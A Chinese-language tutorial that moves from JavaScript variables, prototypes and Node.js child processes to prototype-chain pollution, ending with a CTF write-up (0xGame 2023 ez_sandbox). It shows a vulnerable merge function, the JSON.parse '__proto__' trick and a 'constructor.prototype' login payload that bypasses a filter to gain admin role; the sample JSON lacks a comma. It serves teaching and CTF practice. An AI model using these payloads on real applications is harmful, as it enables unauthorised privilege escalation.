let和var关键字的区别
使用var或let关键字可以定义变量
let和var的区别如下:
普通变量
var a=1;
let b=2;
数组变量
var a = new Array();
var b= [];
字典
var a = {};
var b= {"foo":"bar"};
JavaScript只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为
__proto__
)指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__
),层层向上知道一个对象的原型对象为null。
实例图
我们编写代码测试下
源码
function Son(){};
var son = new Son();
console.log(Son.prototype)
console.log(son.__proto__)
console.log(Son.prototype == son.__proto__)
不难发现Son.prototype == son.__proto__
是成立的
然后再了解下继承
原型是继承的基础,JavaScript中原型链可以通过prototype这个属性来实现继承机制
实例代码
function Father(){
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son(){
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
这里的Son继承了Father类,在调用son.last_name
时,首先在son对象里找,如果没有找到,就会在son.__proto__
(也就是Son.prototype),找不到就再往上son.__proto__.__proto__
里找 ,知道null为止
Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的
fs.readFileSync()。异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。
很简单理解,当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容
就比如,涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数如execSync
child_process提供了几种创建子进程的方式
异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。
其中的一些函数,在一些情况下,可以导致命令执行漏洞
下面用代码解释下
let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)
可以发现当我们修改foo的原型时,由于查找顺序的原因,foo.bar仍为1;如果我们重新创建空对象,发现成功进行原型链污染
原型链污染在哪些情况下可以实现呢,其实找找能够控制数组(对象)的“键名”的操作即可
比如merge函数
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
添加如下代码测试
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
可以发现合并虽然成功了,但原型链没有被污染
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__
并不是一个key,自然也不会修改Object的原型。
绕过方法很简单,修改代码如下
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
[0xGame 2023]week2 ez_sandbox
关键源码如下
var users = {}
var admins = {}
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(source) {
return merge({}, source)
}
app.post('/login', function(req, res) {
let { username, password } = clone(req.body)
if (username in users && password === users[username]) {
req.session.user = username
if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}
res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})
可以知道源码有merge函数,可以造成原型链污染。这里过滤了__proto__
,那么我们用constructor.prototype
绕过;登陆成功条件为username in users
我们先注册⼀个 test 用户, 在登录时 POST 如下内容, 污染 admins 对象, 使得 username in admins 表达式的结果为True
{
"username": "test",
"password": "test"
"constructor": {
"prototype": {
"test": "123"
}
}
}
先bp抓包发送
然后输入test,test
登陆成功,并且成功污染